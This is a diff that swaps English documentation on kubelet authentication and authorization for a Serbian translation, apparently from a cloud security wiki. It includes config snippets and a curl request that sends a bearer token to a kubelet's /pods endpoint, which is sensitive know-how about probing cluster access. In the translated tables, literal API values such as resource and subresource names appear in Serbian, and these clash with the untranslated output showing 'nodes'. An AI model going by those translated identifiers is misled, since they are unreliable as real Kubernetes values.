-```
-
-- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
-  - ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
-  - start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
-
-```json
-"authentication": {
-    "webhook": {
-      "cacheTTL": "2m0s",
-      "enabled": true
-    },
-```
-
-> [!NOTE]
-> The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
-
-- **X509 client certificates:** Allow to authenticate via X509 client certs
-  - see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
-  - start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
-
-```json
-"authentication": {
-    "x509": {
-      "clientCAFile": "/etc/kubernetes/pki/ca.crt"
-    }
-}
-```
-
-## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
-
-Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**.
-
-However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
-
-> [!WARNING]
-> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
-
-The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
-
-```json
-"authorization": {
-    "mode": "Webhook",
-    "webhook": {
-      "cacheAuthorizedTTL": "5m0s",
-      "cacheUnauthorizedTTL": "30s"
-    }
+"anonymous": {
+"enabled": true
 },
 ```
+- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokene** kao autorizaciju (bilo koji validan token će biti validan). Dozvolite to sa:
+- osigurajte da je `authentication.k8s.io/v1beta1` API grupa omogućena na API serveru
+- pokrenite kubelet sa **`--authentication-token-webhook`** i **`--kubeconfig`** zastavicama ili koristite sledeće podešavanje:
+```json
+"authentication": {
+"webhook": {
+"cacheTTL": "2m0s",
+"enabled": true
+},
+```
+> [!NOTE]
+> Kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da **odredi informacije o korisniku** iz bearer tokena
 
-The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
+- **X509 klijentski sertifikati:** Omogućavaju autentifikaciju putem X509 klijentskih sertifikata
+- pogledajte [dokumentaciju o autentifikaciji apiservera](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) za više detalja
+- pokrenite kubelet sa `--client-ca-file` flagom, pružajući CA paket za verifikaciju klijentskih sertifikata. Ili sa konfiguracijom:
+```json
+"authentication": {
+"x509": {
+"clientCAFile": "/etc/kubernetes/pki/ca.crt"
+}
+}
+```
+## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
 
-The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
+Svaki zahtev koji je uspešno autentifikovan (uključujući anonimni zahtev) **zatim se autorizuje**. **Podrazumevani** način autorizacije je **`AlwaysAllow`**, koji **dozvoljava sve zahteve**.
 
-- **Action**
+Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **najčešće pronaći napolju**). Ovaj način će **proveriti dozvole autentifikovanog korisnika** da dozvoli ili zabrani neku akciju.

-- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
+Autorizacija putem webhook-a može se konfigurisati koristeći **parametar `--authorization-mode=Webhook`** ili putem konfiguracione datoteke sa:
+```json
+"authorization": {
+"mode": "Webhook",
+"webhook": {
+"cacheAuthorizedTTL": "5m0s",
+"cacheUnauthorizedTTL": "30s"
+}
+},
+```
+Kubelet poziva **`SubjectAccessReview`** API na konfigurisanoj API serveru da **odredi** da li je svaki zahtev **ovlašćen.**
 
-| Kubelet API  | resource | subresource |
-| ------------ | -------- | ----------- |
-| /stats/\*    | nodes    | stats       |
-| /metrics/\*  | nodes    | metrics     |
-| /logs/\*     | nodes    | log         |
-| /spec/\*     | nodes    | spec        |
-| _all others_ | nodes    | proxy       |
+Kubelet ovlašćuje API zahteve koristeći isti pristup [atributima zahteva](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kao apiserver:
 
-For example, the following request tried to access the pods info of kubelet without permission:
+- **Akcija**
 
+| HTTP glagol | glagol zahteva                                                                                                                                                  |

+| GET, HEAD   | dobiti (za pojedinačne resurse), lista (za kolekcije, uključujući sadržaj celog objekta), posmatrati (za posmatranje pojedinačnog resursa ili kolekcije resursa) |
+| PUT         | ažurirati                                                                                                                                                      |
+| PATCH       | zakrpa                                                                                                                                                         |
+| DELETE      | obrisati (za pojedinačne resurse), obrisati kolekciju (za kolekcije)                                                                                         |
+
+- **Resurs** koji komunicira sa Kubelet API je **uvek** **čvorovi**, a **podresurs** se **određuje** iz putanje dolaznog zahteva:
+
+| Kubelet API  | resurs | podresurs |
+| ------------ | ------ | --------- |
+| /stats/\*    | čvorovi| statistika |
+| /metrics/\*  | čvorovi| metrike   |
+| /logs/\*     | čvorovi| log       |
+| /spec/\*     | čvorovi| specifikacija |
+| _svi ostali_ | čvorovi| proxy     |
+
+Na primer, sledeći zahtev je pokušao da pristupi informacijama o podovima kubeleta bez dozvole:
 ```bash
 curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
 Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
 ```
-
-- We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
-- We can see the **username** (in this case from the token)
-- Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
+- Dobijamo **Zabranjeno**, tako da je zahtev **prošao proveru autentifikacije**. Da nije, dobili bismo samo `Neautorizovano` poruku.
+- Možemo videti **korisničko ime** (u ovom slučaju iz tokena)
+- Proverite kako je **resurs** bio **čvorovi** i **podresurs** **proxy** (što ima smisla sa prethodnim informacijama)
